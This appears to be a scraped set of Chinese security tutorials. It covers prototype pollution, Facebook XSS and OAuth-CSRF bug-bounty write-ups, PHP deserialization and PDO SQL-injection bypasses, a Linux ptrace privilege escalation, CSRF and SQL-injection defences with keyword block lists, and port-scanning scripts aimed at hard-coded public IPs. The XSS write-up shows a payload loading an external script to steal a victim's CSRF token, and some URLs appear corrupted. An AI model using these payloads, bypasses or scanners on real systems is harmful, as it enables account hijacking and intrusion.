如果是我来解决这个问题的话,我会选择迭代对象的属性,直到查找到__proto__和prototype这2个属性名,如果出现就干掉。但是这个方法还是有缺陷,一个是建立于黑名单,需要列入的属性太多了,例如Dos的话就要把tostring和valueof等方法列入,而且遇到私有属性覆盖的话,怎么确保参数,接口很多。
原作者提出了3点:
1、使用Object.freeze来冻结对象,几乎所有的JavaScript对象都是Object的实例。所以冻结Object.prototype即可。具体大家可以去了解下es5就新增的Object.freeze方法,使用了这个方法,那么黑客就无法对prototype新增或者重写对应原型链上的方法,不过这样可能会导致一些隐性的bug产生,而且可能还不知道是哪里出错了。
2、用map数据结构来代替自带的对象结构。Es6就有map结构啦,这个map和Object的区别就是map的键可以是任意的对象类型,数组也好,对象也好。
3、使用Object.create(null)(强烈推荐), 使用这个方法就可以更好的防御原型链污染攻击了,因为Object.create(null)使得创建的新对象没有任何的原型链,是null的,不具备任何的继承关系,当你接受一个客户端的参数并且打算merge的话,可以使用此方法后去merge,这样的对象是比较安全的,客户端没办法通过原型链来污染攻击(因为压根就没原型链通往其他的对象)。我们可以简单的通过一个实验来看下。
相关文章教程推荐:web服务器安全
以上就是javascript原型链污染攻击的知识。速戳>>知识兔学习精品课!
漏洞情况
该漏洞只在IE和Edge浏览器中有效,漏洞原因在于中的某些API端点,在处理HTML代码响应时未实施完善安全的转义措施。响应消息存在于JSON格式中,HTML代码被当做其中一个字段的值也包含在内,而且响应消息不附带Content-Type 或 X-Content-Type-Options头,这样我就能有机会在IE/Edge中构造代码执行了。
(这两类浏览器会扫描整个页面确定MIME文件类型,而其它浏览器只检查前几个字符)。
漏洞复现
1、首先,我们发送以下上传方式的POST请求:
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
其中的是由Facebook for Android的第一方应用生成的有效用户访问令牌,PAYLOAD则是我们想插入的HTML代码,用于后续引诱受害者在浏览器中执行。当提交请求后,远程服务端会返回一个类似如下的值,其中包含一个后续会用到的会话ID(具体请参考Facebook官方说明):
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
经测试发现,其响应消息中没有内容安全策略(CSP)限制,所以,我想到了能不能用一个包含外部链接的js文件来插入HTML代码,例如:
<html><body><script src=https://xiaotua.com//DOMAIN.com/script.js ></script></body></html>
2、这里的上传请求被Facebook后端做了Base64编码处理,返回显示如下,其中包含了我们特意植入的Payload:
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
所以,用该编码串之后就会有如下请求,用它可以向Facebook发起POST请求:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
3、由此,利用以上请求串,我向其中加入我在第1步中生成的有效access_token,构造了一个HTML网页放到了我的网站中:
该页面包含了一个提交样式,受害者访问之后的响应消息如下:
{“h”:”2::<html><body><script src=https://xiaotua.com//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugbAAAP:e::REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
重要的是,中的脚本文件将帮助我窃取受害者的“fb_dtsg” CSRF token,并且可向发送一个添加手机号或邮箱地址的绑定请求,实现间接的受害者账户劫持。
漏洞修复
1、在file_type参数中加入对HTML代码处理的安全转义措施;2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。漏洞上报及处理进程2019.10.10 漏洞初报2019.10.10 Facebook确认2019.10.11 Facebook修复2019.10.24 Facebook奖励5000$
相关文章教程推荐:网站安全教程
以上就是利用反射型XSS漏洞劫持Facebook账户的知识。速戳>>知识兔学习精品课!
本文分享的是一个Facebook CSRF漏洞,用Gmail或G-Suite账户来验证新创建Facebook账户时存在的CSRF令牌验证机制漏洞,攻击者利用该漏洞,可在验证新创建Facebook账户时,以最小用户交互方式用受害者邮箱验证其注册的Facebook账户,实现间接CSRF攻击。
OAuth登录机制对CSRF token验证不足
当用户用Gmail或G-Suite账号来创建一个新的Facebook账户时,存在以下两种身份验证机制:
1、从Gmail中接收5位数的验证码,然后在Facebook网页中输入以确认。
2、从Gmail或G-Suite账号的第三方进行OAuth授权跳转登录。
要绕过第一种方法估计很难了,Facebook后端部署的Checkpoint安防设备和强大的速率限制条件,会毫不客气地阻断任何暴力破解和可疑行为。所以,我们来观察一下第二种方法,经过一番测试,我在其中发现了一个CSRF漏洞,原因在于,在OAuth授权跳转登录过程中缺少必要的CSRF令牌验证机制。
OAuth Login链接如下:
https://accounts.google.com/signin/oauth/identifier?client_id=-80cg059cn49j6kmhhkjam4b00on1gb2n.apps.googleusercontent.com&as=dOwxqXYIm0eQvYuxmp-ODA&destination=https%3A%2F%2Fwww.facebook.com&approval_state=!ChRLcHh5R0tQVzRXUWJSOFRIbG85ZRIfb19Dd1BsY0tpbGtYd0ktM2lWMU9TaWNIbzUyOTlCWQ%E2%88%99AJDr988AAAAAXghyvi5iRjgT2N1tdaquUxqUTQOYK4V4&oauthgdpr=1&xsrfsig=ChkAeAh8T8oLnsrNQd99XQIe69KD7-njhen9Eg5hcHByb3ZhbF9zdGF0ZRILZGVzdGluYXRpb24SBXNvYWN1Eg9vYXV0aHJpc2t5c2NvcGU&flowName=GeneralOAuthFlow
请注意,其中的state参数为一个CSRF令牌,该令牌用于在一些跨站点的请求响应中,去验证那些经身份验证过的用户,以此来防止攻击者蓄意的CSRF攻击。
通常来说,如果在上述OAuth Login过程中,该state参数由客户端的 Firefox 浏览器生成,那么,该参数令牌也仅限于在该Firefox浏览器中验证有效。但是,这里的问题是,该OAuth Login机制还缺乏必要的验证措施,也就是,这里的这个state参数(CSRF token)可用在任何其他客户端浏览器中实现有效验证。
所以,对攻击者来说,可以简单地把上述URL链接进行嵌入构造到一个网页中,只要受害者点击到该网页,攻击者就能以受害者身份(如注册邮箱该邮件地址已受到反垃圾邮件插件保护。要显示它需要在浏览器中启用 JavaScript。)完成Facebook账户的身份验证,实现间接的CSRF攻击。
但是,这里还有一个问题,那就是受害者在点击攻击者构造的页面之前,攻击者Facebook账户需要在受害者浏览器中实现登录,而这里,刚好可用Facebook的一键式登录(Log In With One Click)来完成这个动作。
把以下Facebook的一键式登录链接嵌入到恶意网页的IFrame中,当受害者点击网页后,攻击者Facebook账户就可在受害者浏览器中完成登录加载。
https://www.facebook.com/recover/password/?u=3582&n=&ars=one_click_login&fl=one_click_login&spc=1&ocl=1&sih=0
之后,当OAuth Login按钮被受害者点击后,受害者邮箱被攻击者用来确认登录了Facebook,之后,再用以下链接来退出攻击者的Facebook账户:
https://m.facebook.com/logout.php?h=17AfealsadvYomDS
结合以上方法构造出一个恶意页面,攻击者就能用受害者邮箱(如以下视频中的Gmail)完成新创建Facebook账户的验证了。
(需要视频嵌入)
https://www.youtube.com/watch?time_continue=8&v=SmRVIip_ySE
总结
总体来说,该漏洞危害确实有限,原因在于Facebook的第三方OAuth Login过程中缺乏对CSRF token的有效验证,导致攻击者可以利用不变的CSRF token来做文章。但随着Web应用的不断发展,各种场景下的第三方OAuth机制越来越多,其存在的问题和漏洞将会非常值得注意。
漏洞上报进程
2019.5.10 : 漏洞初报2019.5.17 : Facebook跟进调查2019.5.31 : Facebook修复2019.6.19 : Facebook奖励我$3,000
相关文章教程推荐:服务器安全教程
以上就是利用CSRF令牌验证机制漏洞验证受害者账户的知识。速戳>>知识兔学习精品课!
介绍
官方文档中介绍PHP序列化和反序列化如下:
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。
简单说序列化是对象转化字符串的过程,反序列化是字符串还原对象的过程。
环境
文章中所述内容使用环境如下:
PHP7.3.1、SDKVSCodeC++和C
在网上公开参数反序列化执行流程已经非常详细,但是对于一些细节地方有一些不足,其中就包括序列化和反序列化之间的语法差异问题。
差异问题
1、序列化
我们通过编译PHP内核源码分析,发现PHP序列化在默认情况下在对象转换中加入:{和}用来拼接成字符串。
[var.c]Line:882static void php_var_serialize_intern()Line:896if (ce->serialize(struc, &serialized_data, &serialized_length, (zend_serialize_data *)var_hash) == SUCCESS) { smart_str_appendl(buf, "C:", 2); smart_str_append_unsigned(buf, ZSTR_LEN(Z_OBJCE_P(struc)->name)); smart_str_appendl(buf, ":"", 2); smart_str_append(buf, Z_OBJCE_P(struc)->name); smart_str_appendl(buf, "":", 2); smart_str_append_unsigned(buf, serialized_length); smart_str_appendl(buf, ":{", 2); smart_str_appendl(buf, (char *) serialized_data, serialized_length); smart_str_appendc(buf, '}'); }Line:952smart_str_appendl(buf, ":{", 2);Line:995smart_str_appendc(buf, '}');
咱们来看上面这段代码,PHP会使用smart_str_appendl为序列化字符串前后拼接:{和},从var.c的第882行开始进入序列化逻辑。在第896行进行序列化字符串拼接,第952行和第995行,对于内嵌方法进行拼接。
2、反序列化
反序列化是将序列化的字符串,按照一定语法规则进行转化还原。
[var_unserialize.c]Line:655static int php_var_unserialize_internal()Line:674{ YYCTYPE yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; if ((YYLIMIT - YYCURSOR) < 7) YYFILL(7); yych = *YYCURSOR; switch (yych) { case 'C': case 'O': goto yy4; case 'N': goto yy5; case 'R': goto yy6; case 'S': goto yy7; case 'a': goto yy8; case 'b': goto yy9; case 'd': goto yy10; case 'i': goto yy11; case 'o': goto yy12; case 'r': goto yy13; case 's': goto yy14; case '}': goto yy15; default: goto yy2; }Line:776yy15: ++YYCURSOR; { /* this is the case where we have less data than planned */ php_error_docref(NULL, E_NOTICE, "Unexpected end of serialized data"); return 0; /* not sure if it should be 0 or 1 here? */}
通过内核代码能够看到第655行进入反序列化,反序列化是利用词法扫描,判断各项符号转换对应对象。能够看到反序列化中对于}进行了处理,处理中只是对计数器加一并没有其他操作。
实际作用
反序列化语法的差异,对于安全防护设备判断反序列化产生很大的影响。在Snort中,有段规则如下:
alert tcp any any -> any [80,8080,443] (uricontent:".php"; pcre:"/{w:.+?}/"; sid:1; msg:php_serialize;)
在攻击载荷中可以使用大多数字符代替{},从而导致规则失效。
总结
在红队攻击中可以利用PHP序列化和反序列化语法差异,从而达到绕过防护的目的。
在蓝队防御中建议考虑定义中所述不会保存对象的方法,只会保存类的名字。,拦截保存类的名字,以及语法中相同的字符比如冒号进行防御。
相关文章教程分享:网站安全教程
以上就是利用php序列化和反序列化的语法差异绕过防护的知识。速戳>>知识兔学习精品课!
前言
随着数据库参数化查询的方式越来越普遍,SQL注入漏洞较之于以前也大大减少,而PDO作为php中最典型的预编译查询方式,使用越来越广泛。
众所周知,PDO是php中防止SQL注入最好的方式,但并不是100%杜绝SQL注入的方式,关键还要看如何使用。
之前在一篇文章中了解到PDO场景下参数可控导致的多句执行等问题(https://xz.aliyun.com/t/3950)于是对PDO场景下的SQL注入又进行了一些探究。
PDO查询语句可控存在的安全问题:
首先在本地新建一个库和表,随便写点东西。
然后写一个test.php,用PDO进行简单的查询:
<?php try{ $db = new PDO('mysql:host=localhost;dbname=pdotest','root','');} catch(Exception $e){ echo $e->getMessage();}if(isset($_GET['id'])){ $id = $_GET['id'];}else{ $id=1;}$query = "select balabala from table1 where 1=?";echo "id:".$id."</br>";$row = $db->prepare($query);$row->bindParam(1,$id);$row->execute();$result = $row->fetch(PDO::FETCH_ASSOC);if($result){ echo "结果为:"; print_r($result); echo "</br>";}
将输入的内容和得到的结果打印在页面上:
PDO与安全问题相关的主要的设置有下面三个:
PDO::ATTR_EMULATE_PREPARESPDO::ATTR_ERRMODEPDO::MYSQL_ATTR_MULTI_STATEMENTS
分别与模拟预编译、报错和多句执行有关。
PDO默认是允许多句执行和模拟预编译的,在之前的很多文章中已经写到,在参数可控的情况下,会导致堆叠注入。
例如我们把查询语句改成:
$query = "select balabala from table1 where 1={$id}";$row = $db->query($query);
则在$db->query()这一步执行之前,我们便可以对$query进行非法操作,那PDO相当于没用:
PDO默认设置存在的安全隐患:
如果我们在查询语句中没有可控的参数,并把输入的参数按照prepare->bindParam->execute的方式去写就一定没有问题了吗?
我们按如下语句进行查询:
$query = "select balabala from table1 where 1=?";$row = $db->prepare($query);$row->bindParam(1,$_GET[‘id’]);$row->execute();
我们在URL中随便输入一个参数:?id=asdasd,然后通过设置SET GLOBAL GENERAL_LOG=ON,从.log里实时监控,看看sql语句到底执行了什么:
我们发现模拟预编译的请求发送方式和以往的mysqli并没有什么区别,但我们注意到,在原有的查询语句中对参数并没有用单引号包裹,而在此却用单引号进行了包裹,于是我们可以尝试输入一些特殊字符,比如单引号:
发现单引号被转义了,这时我们不由得想到如果设置了gbk编码会怎么样:
我们会发现select * from table1成功执行了,尽管PDO只会返回一个结果,但是它的的确确执行了。
也就是说,即使查询语句里没有可控参数,只有?或者:id这类被绑定的参数,依然可以进行堆叠注入。
那如果把多句执行关掉呢?
我们把PDO::MYSQL_ATTR_MULTI_STATEMENTS设为false,重复上述操作:
发现已经行不通了。
实际也只执行了设置gbk这一条语句
但是这样就结束了吗?
为什么不试试union注入等其他方式呢?
经过尝试,发现union注入也是可以的!根本不需要进行多句执行!
实际上,在模拟预编译的情况下,PDO对于SQL注入的防范(PDO::queto()),无非就是将数字型的注入转变为字符型的注入,又用类似mysql_real_escape_string()的方法将单引号、双引号、反斜杠等字符进行了转义。
这种防范方法在GBK编码的情况下便可用宽字节进行绕过,而在非GBK编码的情况下,若存在二次注入的情况,是否能利用呢?
答案是否定的。
二次注入是由于对添加进数据库中的数据没有再次处理和转义而导致的,而预编译对每次查询都进行转义,则不存在二次注入的情况。
上述安全隐患,是由于未正确设置PDO造成的,在PDO的默认设置中,PDO::ATTR_EMULATE_PREPARES和PDO::MYSQL_ATTR_MULTI_STATEMENTS都是true,意味着模拟预编译和多句执行是默认开启的。
而在非模拟预编译的情况下,若语句中没有可控参数,是否还能这样做呢?
答案是否定的。
我们将PDO::ATTR_EMULATE_PREPARES设为false,来看看sql语句到底执行了什么:
它对每一句sql语句都进行了预编译和执行两个操作,在执行select balabala from table1 where 1=?这句时,如果是GBK编码,那么它将会把?绑定的参数转化成16进制,这样无论输入什么样的东西都无法再进行注入了。
如果不是GBK编码,如上面所说,也不存在二次注入的情况,故可以避免SQL注入漏洞。
相同原理的Prepare Statement方法
PDO的原理,与Mysql中prepare语句是一样的。上面PDO所执行的SQL语句,用如下的方式可以等效替代:
Set @x=0x31Prepare a from “select balabala from table1 where 1=?”Execute a using @x
我们可以手动将输入的参数设置为@x,并将其转化为16进制,随后预编译,再执行
也就是说,不用PDO也可以仿照其原理手动设置预编译:
$db = new mysqli('localhost','root','','pdotest');if(isset($_GET['id'])){$id = "0x".bin2hex($_GET['id']);}else{$id=1;}echo "id:".$id."</br>";$db->query("set names gbk");$db->query("set @x={$id}");$db->query("prepare a from 'select balabala from table1 where 1=?'");$row = $db->query("execute a using @x");$result = $row->fetch_assoc();if($result){echo "结果为:";print_r($result);echo "</br>";}
得到的结果和使用PDO是一样的:
这样设置不用担心没有合理地设置PDO,或是用了GBK编码等情况。
Prepare Statement在SQL注入中的利用
Prepare语句在防范SQL注入方面起到了非常大的作用,但是对于SQL注入攻击却也提供了新的手段。
Prepare语句最大的特点就是它可以将16进制串转为语句字符串并执行。如果我们发现了一个存在堆叠注入的场景,但过滤非常严格,便可以使用prepare语句进行绕过。
例如我们将createtable table2 like table1转化成16进制,然后执行:
我们发现数据库中已经多了一个表table2。则语句成功执行了。
总结
对于此类问题的防范,主要有以下三个方面:
1. 合理、安全地使用gbk编码。即使采用PDO预编译的方式,如若配置不当,依然可造成宽字节注入
2. 使用PDO时,一定要将模拟预编译设为false
3. 可采用使用Prepare Statement手动预编译,杜绝SQL注入
相关文章教程推荐:网站安全教程
以上就是PDO原理及正确使用方法的知识。速戳>>知识兔学习精品课!
2019年07月20日,Linux正式修复了一个本地内核提权漏洞。通过此漏洞,攻击者可将普通权限用户提升为Root权限。
漏洞描述
当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数。但是,对象struct cred的生存周期规则不允许无条件地将RCU引用转换为稳定引用。
PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。如果恶意低权限子进程使用PTRACE_TRACEME并且该子进程的父进程具有高权限,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程。
漏洞复现
网上已有针对该漏洞的高可利用性的exploit,利用效果如下图:
影响范围
目前受影响的Linux内核版本:
Linux Kernel < 5.1.17
修复建议
1、补丁修复链接:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb00d2e07cd140df6c2ea106c41ee
2、升级Linux内核至最新版。
参考链接
https://github.com/torvalds/linux/commit/6994eefb00d2e07cd140df6c2ea106c41ee
相关文章教程推荐:服务器安全教程
以上就是linux本地内核提权漏洞介绍的知识。速戳>>知识兔学习精品课!
跨站请求伪造通常缩写为CSRF或者XSRF,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。CSRF利用的是网站对用户网页浏览器的信任。
定义
跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
防御措施:
1、检查Referer字段。
2、添加校验token。
以上就是跨站请求伪造是什么意思的知识。速戳>>知识兔学习精品课!
csrf防御方法有:1、验证HTTP Referer字段;2、在请求地址中添加token并验证;3、在HTTP头中自定义属性并验证。csrf是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
csrf是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
csrf防御方法:
目前防御 CSRF 攻击主要有三种策略:
1、验证 HTTP Referer 字段;
2、在请求地址中添加 token 并验证;
3、在 HTTP 头中自定义属性并验证。
下面我们来具体说一下:
(1)验证 HTTP Referer 字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。
因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。
(2)在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。
要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
(3)在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。
这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。
另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。
如果您想了解更多相关问题,可以访问小兔网。
以上就是csrf防御方法有哪些的知识。速戳>>知识兔学习精品课!
sql注入是指用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些需要得知的数据。sql注入攻击是黑客对数据库进行攻击的常用手段之一,我们可以通过数据库安全防护技术实现有效防护。
sql注入介绍
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
数据库安全防护技术:
SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
SQL注入攻击会导致的数据库安全风险包括:刷库、拖库、撞库。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面上的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
如果您想了解更多相关内容,请访问小兔网。
以上就是sql注入是什么意思的知识。速戳>>知识兔学习精品课!
SQL注入防御的方法有:1、PreparedStatement;2、使用正则表达式过滤传入的参数;3、字符串过滤。其中,采用预编译语句集是简单又有效的方法,因为它内置了处理SQL注入的能力。
SQL注入防御的方法
下面针对JSP,说一下应对方法:
(推荐学习:mysql教程)
1、(简单又有效的方法)PreparedStatement
采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
使用好处:
(1)代码的可读性和可维护性;
(2)PreparedStatement尽最大可能提高性能;
(3)最重要的一点是极大地提高了安全性。
原理:
sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析、准备,因此也就避免了sql注入问题。
2、使用正则表达式过滤传入的参数
要引入的包:
import java.util.regex.*;
正则表达式:
private String CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;
判断是否匹配:
Pattern.matches(CHECKSQL,targerStr);
下面是具体的正则表达式:
检测SQL meta-characters的正则表达式 :
/(%27)|(’)|(--)|(%23)|(#)/ix
修正检测SQL meta-characters的正则表达式 :
/((%3D)|(=))[^
]*((%27)|(’)|(--)|(%3B)|(:))/i
典型的SQL 注入攻击的正则表达式 :
/w*((%27)|(’))((%6F)|o|(%4F))((%72)|r|(%52))/ix
检测SQL注入,UNION查询关键字的正则表达式 :
/((%27)|(’))union/ix(%27)|(’)
检测MS SQL Server SQL注入攻击的正则表达式:
/exec(s|+)+(s|x)pw+/ix
等等…..
3、字符串过滤
比较通用的一个方法:(||之间的参数可以根据自己程序的需要添加)
public static boolean sql_inj(String str){String inj_str = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";String inj_stra[] = split(inj_str,"|");for (int i=0 ; i < inj_stra.length ; i++ ){if (str.indexOf(inj_stra[i])>=0){return true;}}return false;}
凡涉及到执行的SQL中有变量时,用JDBC(或者其他数据持久层)提供的如:PreparedStatement就可以 ,切记不要用拼接字符串的方法就可以了。
以上就是SQL注入防御的方法有哪些的知识。速戳>>知识兔学习精品课!
事件原由
(推荐教程:web服务器安全)
笔者在写一个小工具,针对渗透测试中需要搜集的信息,使用脚本自动化采集。而在这个模块中有个很难搞的部分就是端口banner 信息搜集,起初我尝试使用了python+nmap+多线程扫描,扫描20+的ip,等的花都谢了。。。而笔者目标是扫描200+的ip。下面我就针对端口扫描的技术进行分析。
1、nmap探测端口
nmap在扫描多个主机的时候可以设置参数 --min-hostgroup ,设置这个参数可以并行扫描多个主机,将这些主机划分成组,然后一次扫描一个组。
举例:
--min-hostgroup 50 nmap 以50个主机为一组,在扫描完50个主机之前不会显示结果。
#coding=utf-8import nmap from queue import Queuefrom threading import Threaddef portscan(ip): portlist = [] nm = nmap.PortScannerYield() for r in nm.scan(ip,ports='1-',arguments='-sS --min-hostgroup'): m = r[1]['scan'][ip]['tcp'] for p in m: temp = str(p) + "----" +m[p]['state'] portlist.append(temp) print(portlist)class Consumer(Thread): def __init__(self, q): Thread.__init__(self) self.q = q def run(self): while not self.q.empty(): ip = self.q.get() try: portscan(ip) except Exception as e: print(e) continuedef producer(ip_list): num = 10 threads = [] q = Queue() for i in ip_list: print(i) q.put(i) threads = [Consumer(q) for i in range(0,int(num))] for t in threads: t.start() for t in threads: t.join()ip_list =['120.78.207.76', '120.78.207.231', '120.78.207.18', '120.78.207.233', '120.78.207.165', '120.78.207.48', '120.78.207.112', '120.78.207.27', '120.78.207.51', '120.78.207.8']producer(ip_list)
如图,运行10个ip需要318s。
2、masscan探测端口
(1)调用python masscan
默认情况下,masscan 发送的是syn数据包,如果目标主机返回ack+syn,则说明端口开放。具体流程如下
A:192.168.70.142
B:192.168.0.143 开放端口3306
(1)A->B syn
(2)B->A syn+ack
(3)A->B RST
探测未开放的端口
A->B syn
B->A rst
举例:
def portscan(ip): mas = masscan.PortScanner() mas.scan(ip,ports='1-') print(mas.scan_result)
使用系统命令探测
使用方法
扫描扫描443端口的B类子网Masscan 10.11.0.0/16 -p443扫描80或443端口的B类子网Masscan 10.11.0.0/16 -p80,443扫描100个常见端口的B类子网,每秒100,000个数据包Masscan 10.11.0.0/16 --top-ports 100 -rate 结果输出-oX filename:输出到filename的XML。-oG filename:输出到filename在的grepable格式。-oJ filename:输出到filename在JSON格式。
3、socket探测端口
socket 探测端口发送的不是完整的三次握手包如下,
A:192.168.70.142
B:192.168.0.143 开放端口3306
A接收到B返回的syn+ack数据包后,A把数据丢弃。
探测不开放端口
A发送syn,B没有开放33端口,所以返回RST数据包。
def portscan(ip,port): try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(0.2) status = s.connect_ex((ip,port)) if status == 0: temp_str = str(ip) + "---" + str(port) + "---open" port_list.append(temp_str) else: pass except Exception as e: pass finally: s.close()
探测10个ip花费了26.3s差不多一个2.6s。
4、telnet探测端口
telnet 探测端口采用完整的三次握手连接,使用命令 telnet ip port ,发包流程如下
A:192.168.70.142
B:192.168.0.143 开放端口3306
telnet 192.168.0.143 3306
过程如下:
使用TCP三次握手建立连接: SYN -> SYN+ACK + ACK
探测不存在端口,发送SYN数据包,然后RST包丢弃。
如果有返回值,则说明端口开放,否则则端口关闭。
def portscan(ip,port): try: t = telnetlib.Telnet(ip,port=port,timeout=0.2) if t: temp_str = str(ip) + '---' + str(port) port_list.append(temp_str) except Exception as e: print(e) pass
探测10个ip花费了27.8s差不多一个2.7s。
5、nc探测端口
nc探测端口采用完整的三次握手连接,使用命令 nc -v -w 1 -z ip port,发包过程和telent 探测一样。
探测开放端口的数据包
探测未开放端口的数据包
端口开放,返回值为0,可以依此作为判断依据。
